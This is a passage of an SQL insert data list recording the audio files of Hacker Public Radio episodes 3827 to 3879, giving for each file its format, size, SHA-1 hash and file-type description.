(3827,'hpr3827.ogg','ogg',6482947,'37df399e81e5b007d107d44409a075e270682304','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3827,'hpr3827.spx','spx',2217222,'4678bb86299bddfef33d6ee8eb09a762cd01554d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3828,'hpr3828.mp3','mp3',9524244,'f848d18d4efd3277eab792d0fd4c28bf9e436498','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3828,'hpr3828.ogg','ogg',13644983,'fba64b505356eced4eb62aa890cda78db4c0e8b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3828,'hpr3828.spx','spx',4496214,'1ce1aaa1a52d5debfd84e41d03f99c25d67a25f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3829,'hpr3829.mp3','mp3',27018377,'16c06287fba22d41e2a61e8428c5a3b3d5984771','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3829,'hpr3829.ogg','ogg',38455455,'b5576093e6b48ad471d10b509212bc690865d65d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3829,'hpr3829.spx','spx',12755666,'ee756d80e622f8c79b2a4c3d5ca2f781330e763e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3830,'hpr3830.mp3','mp3',7500171,'351b44f6da820cd49fd3bd439dc1cf18809029ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3830,'hpr3830.ogg','ogg',10831902,'cc7d8fe677a60e0db99a76623c7e230902cc3f4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3830,'hpr3830.spx','spx',3540624,'0f7c7961abb410f043314627216685dad44a90bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3831,'hpr3831.mp3','mp3',20981306,'c07f9b1aaa5c3818c87d6b640c4f57e4ec1562e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3831,'hpr3831.ogg','ogg',29195458,'3d7fa7c9f8f21fc112e4bfd6fab604836868c3b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3831,'hpr3831.spx','spx',9905441,'e5216fb7ab38758ba96ca33ccbb034bb9ea69a0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3832,'hpr3832.mp3','mp3',15152198,'4a1fc5f5b3e7de25a730058b6e8a172f30d9a2b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3832,'hpr3832.ogg','ogg',21525007,'c7daa1175be506d31e0aa90e68e3075937074878','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3832,'hpr3832.spx','spx',7153295,'040d139f296ec012631aec6ce699078b9c672658','application/ogg; charset=binary','Ogg data, Speex audio'),
(3833,'hpr3833.mp3','mp3',19942982,'33749fa86483c95ad78322a7d33e36be3d920c8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3833,'hpr3833.ogg','ogg',27811609,'c1b963683627ff8a25e5589bd0ffc007146cfaff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3833,'hpr3833.spx','spx',9415193,'c46b2c38821e933a6b21bc639a9caad39bfbcdbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3834,'hpr3834.mp3','mp3',58134275,'19c647485407bb850e402fa0da124eceb8b7031e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3834,'hpr3834.ogg','ogg',76496712,'18f4d3195a17dd85b12edad698bab6608cf5b1d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3834,'hpr3834.spx','spx',27446213,'c1af8f379ced8f56688a1f02d690c2853c032afa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3835,'hpr3835.mp3','mp3',8280505,'cc898eca072fea1f07b5fcd147639f6630de603d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3835,'hpr3835.ogg','ogg',11203172,'79a757f7fe9b8cea96bbed6dd363652172808c12','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3835,'hpr3835.spx','spx',3909064,'57b6cfe18225c1504f697b63fa2beca600f99c80','application/ogg; charset=binary','Ogg data, Speex audio'),
(3836,'hpr3836.mp3','mp3',6371082,'fb7f11f89665694cd91a13c72a058abd0dc6cfdc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3836,'hpr3836.ogg','ogg',9053331,'0e55ce1b97ba9aed97f037fc2ebd2f52ecb98fe2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3836,'hpr3836.spx','spx',3007605,'6e54970a4d47b5a30a8433ef8893f815742d6643','application/ogg; charset=binary','Ogg data, Speex audio'),
(3837,'hpr3837.mp3','mp3',4234105,'63ec85ec4eb53bbefcfc2d6204481c02537abe5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3837,'hpr3837.ogg','ogg',6034575,'72fbabac2eae1b35054eb823cef3e95cf579e783','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3837,'hpr3837.spx','spx',1998604,'9342589697f6715d7da7063b723c63a4523f7bd4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3838,'hpr3838.mp3','mp3',6827060,'9e846b76f584b919e8bb729d8adab86fec103362','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3838,'hpr3838.ogg','ogg',9347140,'cace27ec6d01ca030d2bf53ae2042cc425cbec1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3838,'hpr3838.spx','spx',3222797,'e7eddfa34fe713a4f6383ef905f31c41aa3b468f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3839,'hpr3839.mp3','mp3',3051584,'2027166194e82906e7406cdbe2c7748f9edc5a07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3839,'hpr3839.ogg','ogg',4309217,'ff3d2c6438530600de6afc0cfcd68996124997b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3839,'hpr3839.spx','spx',1440290,'943d90f6abf9ed79248463eb09b2ea6371559f51','application/ogg; charset=binary','Ogg data, Speex audio'),
(3840,'hpr3840.mp3','mp3',7840421,'987c6bc95a69719fa522c4247548fe07770928d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3840,'hpr3840.ogg','ogg',11404524,'0ea6afa614d7f1f7afdab5f8e17ad65134c464ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3840,'hpr3840.spx','spx',3701234,'863901b17f2d59f6c8566d6c93839b55fcf27854','application/ogg; charset=binary','Ogg data, Speex audio'),
(3841,'hpr3841.mp3','mp3',10796682,'89d03bfe5b82cedc445e2b7433ca15e1b91f97b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3841,'hpr3841.ogg','ogg',15308286,'2024a4e3eda55b0aac97b62c1b599be1563f3313','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3841,'hpr3841.spx','spx',5097036,'81f550c310b0dfbc80d62bbe066dbb4dd7b51bb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3842,'hpr3842.mp3','mp3',16034229,'37fc4307080807261043387037d1c0d6a28ebe67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3842,'hpr3842.ogg','ogg',23336416,'fcc0a1223969c8e3fa8509d12729a50963c6283c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3842,'hpr3842.spx','spx',7569753,'5899985d19b79195d6a10b0e86c365157364a6c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3843,'hpr3843.mp3','mp3',35433530,'4a50de1fa82ccf7c2452e2fe22a9399fe28ba62f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3843,'hpr3843.ogg','ogg',43406305,'1e0068f098d88e8f2b3804fc22095faefc68e45f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3843,'hpr3843.spx','spx',16728578,'62c4394c9d5d958945ddeca33590a0cf2deb45eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3844,'hpr3844.mp3','mp3',58682627,'8fe59301fc9b815ae35358d8e2c57c2cf8d70669','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3844,'hpr3844.ogg','ogg',78803539,'b4a56ce3a72fb35c376af249533a883327641a8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3844,'hpr3844.spx','spx',27705101,'aa9219b3074e0ef2f12f71d238a657a8903792f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3845,'hpr3845.mp3','mp3',6304639,'924b17884a71ccfc7796540d4d351a01d6f0254f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3845,'hpr3845.ogg','ogg',8737722,'df7bb3bdc21cb4ca87ad8cf525b37bebef3b61c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3845,'hpr3845.spx','spx',2976151,'277b21187d585edfe6ed1e06d1ce10736054e32f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3846,'hpr3846.mp3','mp3',31157709,'58f59af7decb6e9ee2af9215fe2a01d8cfc0c333','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3846,'hpr3846.ogg','ogg',42907773,'2fd36b478cd4c36c65a33ef182734ac4f793bf0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3846,'hpr3846.spx','spx',14709953,'11d920ae763d6ee0af3ec5807cb598e6492ed529','application/ogg; charset=binary','Ogg data, Speex audio'),
(3847,'hpr3847.mp3','mp3',1052440,'f048074f31be1e8e75d61aae620ae7138010d4f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3847,'hpr3847.ogg','ogg',1500567,'15844ac57acf2e186bfedc6cf147d46092e5791a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3847,'hpr3847.spx','spx',496450,'d7e0de423582ea1cc1dce8a7cb0ebf17d5b6a1c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3848,'hpr3848.mp3','mp3',15406991,'1e3ce352bac65a3145d8f595eef2f2616c175132','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3848,'hpr3848.ogg','ogg',22447579,'bdd94ba8ca6137c1cf58d483ab6b0381fa3f9bc5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3848,'hpr3848.spx','spx',7273642,'3175068bcb475e1588e44858fb341d24f5c32376','application/ogg; charset=binary','Ogg data, Speex audio'),
(3849,'hpr3849.mp3','mp3',5528137,'3b73a8ae038c3d4b5f20b52f1ffa15a63bffa9bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3849,'hpr3849.ogg','ogg',8077242,'acc8488add09b08c4706d60b276459974fa5595c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3849,'hpr3849.spx','spx',2609577,'b28f35dc5e316f929ae895170a7c06a3cacdb168','application/ogg; charset=binary','Ogg data, Speex audio'),
(3850,'hpr3850.mp3','mp3',7226784,'bde7c2f4e92a5bc76b2b093eb903c5453167f671','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3850,'hpr3850.ogg','ogg',10400330,'e18c8dacc5c12657ea5dfd19014397869c85a254','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3850,'hpr3850.spx','spx',3411552,'2706ede05f768da2f5227d4b1170123972f873df','application/ogg; charset=binary','Ogg data, Speex audio'),
(3851,'hpr3851.mp3','mp3',3780421,'3eb765e3421622a7b57a65373d4286e10abd9991','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3851,'hpr3851.ogg','ogg',5190229,'ff1e6199a7939c9ecda25ae3e7c72e70aafe5bbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3851,'hpr3851.spx','spx',1784452,'9fb34eaa2a46c16c8462f3351f1c65376da158e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3852,'hpr3852.mp3','mp3',5719589,'acb77dfbca4d9d1d8b9cdca165fae8539c9dab17','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3852,'hpr3852.ogg','ogg',7835707,'e5cd2a6466511ae9a04a1f551e2e022eae78d5b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3852,'hpr3852.spx','spx',2699953,'31eeee87db9a7ef8d97585da630dc2f77bbf635d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3853,'hpr3853.mp3','mp3',5554734,'e0e3b05bf771afa4fee18f51942830d732c57558','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3853,'hpr3853.ogg','ogg',7959260,'2f0be7d949ed7156536cb49e014e82b663c2d865','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3853,'hpr3853.spx','spx',2622236,'89e57e4c43a3dab753b3bc461a73d669c144580c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3854,'hpr3854.mp3','mp3',58202627,'e83af74d34d40e1de1a0bb799f59ba8edaf6f1c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3854,'hpr3854.ogg','ogg',77461482,'c55f323469d1e705b0353f122fbf495ea3b4d5dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3854,'hpr3854.spx','spx',27478556,'5bd8057538e44dfce04397add0b628b68b1562cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3855,'hpr3855.mp3','mp3',5385718,'edfe177d42b8a8dc798a7a23248f48945212dd38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3855,'hpr3855.ogg','ogg',7647218,'c1781d339b5dbb7db8290df7c684f22952463781','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3855,'hpr3855.spx','spx',2542386,'e83ceb38b63b826ed1cdeb2bccb62885b4111419','application/ogg; charset=binary','Ogg data, Speex audio'),
(3856,'hpr3856.mp3','mp3',18045398,'39319d9c4208c1102a6a270390e42a6f49e8d940','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3856,'hpr3856.ogg','ogg',25404885,'eb7c0c49d1836c7a850109afca7afecefdac926a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3856,'hpr3856.spx','spx',8519320,'c818bedf9c188e708b17cd61b83e35d1daeed53c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3857,'hpr3857.mp3','mp3',5994173,'fdfdc3d66acc067f373c644ee77e959febe550a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3857,'hpr3857.ogg','ogg',8392930,'2bc87f4c70264ed30b00888e5b9a39c467660008','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3857,'hpr3857.spx','spx',2829622,'2cb107f929d0e92eebcb221f96a2a5310ba457b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3858,'hpr3858.mp3','mp3',7632507,'a2f4c5623fa7352660944a3427f2997a520f8f4b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3858,'hpr3858.ogg','ogg',10885011,'f76a02c046f9987fe665b14dbd3f43c54c1f9ab0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3858,'hpr3858.spx','spx',3603128,'1a9d1d1c3dfe7afcb1564e27d526f94e1eabc825','application/ogg; charset=binary','Ogg data, Speex audio'),
(3859,'hpr3859.mp3','mp3',11089219,'d158b5a2a6afb71e340e38fe5b0fb5fe973cf2de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3859,'hpr3859.ogg','ogg',14016104,'27ebfb8c7fa640cefd3befde51072a7ab5581fff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3859,'hpr3859.spx','spx',5235036,'a954464eec4ab267d5d6ac84db30087221ed3b23','application/ogg; charset=binary','Ogg data, Speex audio'),
(3860,'hpr3860.mp3','mp3',8034904,'badf6b46823f9ae7d455f72e77606376d1a2ef83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3860,'hpr3860.ogg','ogg',11694080,'779b7b7884a12c17c9200444e259ce6c52fd406f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3860,'hpr3860.spx','spx',3793096,'c320f1f5e9bd956dc894a76fc258521da150b4c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3861,'hpr3861.mp3','mp3',6302518,'efad495eaba4fa363ff9165e9951ff1d3f6cff42','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3861,'hpr3861.ogg','ogg',8022593,'f0cc951e5f6b205f4056e7bb4fbb388cf4542896','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3861,'hpr3861.spx','spx',2975166,'a5a348a956ca6fda6deab669462ac233452c525a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3862,'hpr3862.mp3','mp3',5593649,'0a40a027d1302690d1d39f8626f8a952ad1fefd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3862,'hpr3862.ogg','ogg',7838123,'8c664de8eca066e7a869f58f39a57e62f0b02865','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3862,'hpr3862.spx','spx',2640508,'8105cd9d3b57babd8ba7320527414c87fe2ab827','application/ogg; charset=binary','Ogg data, Speex audio'),
(3863,'hpr3863.mp3','mp3',5072795,'52ce5e76f076876a6ef941504d56803db1bdd3dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3863,'hpr3863.ogg','ogg',7262898,'b4f319f4bf96672980cc01b767545faff1a3f246','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3863,'hpr3863.spx','spx',2394597,'52d9f210eab5a893284efede26706f27516434ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(3864,'hpr3864.mp3','mp3',59818691,'a20c3b5c9d8a7fd174623ec8331cbcd1a2fa9384','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3864,'hpr3864.ogg','ogg',76516448,'86b3e13955ffc18864cfb9c4bcf52733deb8c918','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3864,'hpr3864.spx','spx',28241510,'6d971cbaa00accb73aef755e373a76d15bef382f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3865,'hpr3865.mp3','mp3',15942616,'0015e7d034d3e73781160c51b8237550d036733a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3865,'hpr3865.ogg','ogg',22381237,'4f3802d9ab39b10d0de185ac29e48c933d89bca4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3865,'hpr3865.spx','spx',7526421,'c902d8bc3dae3d2c90b8fda6a1a3999b16ccbb77','application/ogg; charset=binary','Ogg data, Speex audio'),
(3866,'hpr3866.mp3','mp3',3393893,'cbc4d40e93723d547dca1292b32136bb9f63a284','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3866,'hpr3866.ogg','ogg',4818568,'5d05e4a35a2bb171cfd4480c14ee39f99193619f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3866,'hpr3866.spx','spx',1601896,'dc121e04f51655d643184ab0795cd9c3ee468d37','application/ogg; charset=binary','Ogg data, Speex audio'),
(3867,'hpr3867.mp3','mp3',5636837,'da7d97d785e3d09a33838533d1a68db84ab1a732','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3867,'hpr3867.ogg','ogg',7285935,'99500b774aa46d6ff0ecde13371b2181ae9cdb81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3867,'hpr3867.spx','spx',2660908,'4586f9fec8fcf9a6a545a4990a3beca8066f5b4a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3868,'hpr3868.mp3','mp3',6210542,'79d557f6c2af2bc33f865a740d64d07a9ce3c685','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3868,'hpr3868.ogg','ogg',8951385,'0651030c91e450656ce7fb2195939cad51cdc61c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3868,'hpr3868.spx','spx',2931811,'e3b96a3a658454c70e230477e8f4bfecb83dc730','application/ogg; charset=binary','Ogg data, Speex audio'),
(3869,'hpr3869.mp3','mp3',7334344,'089f997368f259daf8c9aef49e68172f15415976','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3869,'hpr3869.ogg','ogg',10339982,'b869eea3ea00047069bc499a21e6163fc2fd79d5','audio/ogg; charset=binary','setgid Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3869,'hpr3869.spx','spx',3462342,'52c733c6e047d827bd64b4bf517cc0ea650b976c','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3870,'hpr3870.mp3','mp3',6773853,'fafa199c9e0b01e6478352ada9337178a84fc061','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3870,'hpr3870.ogg','ogg',9784734,'f5f4219ea518b4ff57b30999701b704b05e503b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3870,'hpr3870.spx','spx',3197685,'b03426f08d21eb873e9ebb2f7f6a3fb913d04702','application/ogg; charset=binary','Ogg data, Speex audio'),
(3871,'hpr3871.mp3','mp3',45719971,'3b505ecbdfe02f3a93cdf55423e32c7bca06e3f2','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3871,'hpr3871.ogg','ogg',49112942,'b867b49f9bee415ccbe55257f90ed1c5850ff04e','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3871,'hpr3871.spx','spx',21585165,'ec0118b5ff8affcc1bce79bf41507b64791f2ad9','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3872,'hpr3872.mp3','mp3',14487683,'451d150a8cad82d925e2a55a82c74d40accb8574','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3872,'hpr3872.ogg','ogg',20814630,'0fd603014c18f38dcd9c64ba209c3b48ed232015','audio/ogg; charset=binary','setgid Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3872,'hpr3872.spx','spx',6839650,'e98f6983a8cbf4b976f32b5c2b80532019872d58','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3873,'hpr3873.mp3','mp3',1877857,'cbd392408ba811c528893fc1b3884cfb5caefa30','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3873,'hpr3873.ogg','ogg',2276227,'a8d6d58ab6752c8fe0b433e131bb7d0b2a60b889','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3873,'hpr3873.spx','spx',886164,'210d2780ab56759d243747be23f625564c4c8e68','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3874,'hpr3874.mp3','mp3',59691395,'f2523eebe646ae16e1f7284efd9cc7ff58d26b10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3874,'hpr3874.ogg','ogg',80384867,'8b8855a85f3b3036df69b5422ed38e9fbf80c24b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3874,'hpr3874.spx','spx',28181453,'04560c50506cfcfa33eb8830091ea66fca35f93d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3875,'hpr3875.mp3','mp3',3372047,'648c03f45373c19a5b6707fcb362bc9f3016219f','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3875,'hpr3875.ogg','ogg',3571799,'902eb42ce5767ae08c31fbf9de2002f939818fce','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3875,'hpr3875.spx','spx',1591684,'c2d477a0b6c06e7ea79252187948eea65917312e','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3876,'hpr3876.mp3','mp3',4476598,'e4e60fbf862db317791165ce39ff1ebf17f05b1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3876,'hpr3876.ogg','ogg',6315540,'ba3646568f9f3cc2178f4619b561aa41ddc4a34a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3876,'hpr3876.spx','spx',2113110,'ea99c52691cffc7d05f632eec63a9daba6747cf6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3877,'hpr3877.mp3','mp3',21065788,'962537c12ce5989e99cbffc7f09197af1edd51b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3877,'hpr3877.ogg','ogg',30068106,'46de2978fae8845489ab717c0d47591dd586e59d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3877,'hpr3877.spx','spx',9945237,'efe60bd9b53d8e99ed70b225c5d3911009ee6217','application/ogg; charset=binary','Ogg data, Speex audio'),
(3878,'hpr3878.mp3','mp3',5105412,'a9c492e2516d6d26b467d1f191b33acd5607d560','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3878,'hpr3878.ogg','ogg',5919875,'d49e8e4077d186d50618d15b712508c1fbad7ff1','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3878,'hpr3878.spx','spx',2409980,'57b656d279942459263b3bc19126a682f0e7467a','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3879,'hpr3879.mp3','mp3',22626335,'058e2ab9e0f924a1e8f46bb2a8ceff1da2aa4727','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
